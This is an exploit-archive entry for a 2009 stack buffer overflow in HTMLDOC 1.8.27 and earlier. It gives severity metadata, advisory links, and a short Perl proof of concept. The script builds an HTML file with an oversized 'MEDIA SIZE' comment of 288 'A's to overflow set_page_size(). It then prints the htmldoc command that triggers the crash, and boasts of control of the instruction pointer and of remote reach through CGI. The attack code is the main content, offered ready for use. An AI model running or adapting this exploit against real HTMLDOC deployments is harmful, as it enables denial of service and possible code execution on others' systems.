HTMLDOC <= 1.8.27 Bufferoverflow POC

2009-09-03 / 2009-09-04
Credit: ANTHRAX666
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/perl # # [~] HTMLDOC <= 1.8.27 Bufferoverflow POC # [^] www.htmldoc.org # [*] Autore: ANTHRAX666 <anthrax.the.666@gmail.com> # [+] StackBased OverFlow In set_page_size() # [/] EIPregister Is Raped By Us So Not Just Krash # [!] Is Both Local Also Remote (As CGI Skript) # [-] Sevrity: HIGH # [?] Vendor Kontakt: NOPE # # ,-. _.---._ # | `\.__.-'' `. # \ _ _ ,. \ # ,+++=._________________)_||______|_|_|| | # (_.ooo.===================||======|=|=|| | # ~~' | ~' `~' o o / # \ /~`\ o o / # `~' `-.____.-' # HEAVY METAL RULEZ WORLD VERY LOT!! # unlink("anthrax666.html"); open(FILE,">>anthrax666.html"); print FILE "<!-- MEDIA SIZE 1x1"; print FILE "A"x288; print FILE " -->\n"; close(FILE); print "Run And Watch Burn: htmldoc -f ant.pdf anthrax666.html\n";

References:

http://www.openwall.com/lists/oss-security/2009/09/01/1
http://www.openwall.com/lists/oss-security/2009/07/26/2
http://www.openwall.com/lists/oss-security/2009/07/25/3
http://www.htmldoc.org/str.php?L214
http://secunia.com/advisories/35780
http://packetstormsecurity.org/0907-exploits/htmldoc-overflow.txt
http://bugs.gentoo.org/show_bug.cgi?id=278186


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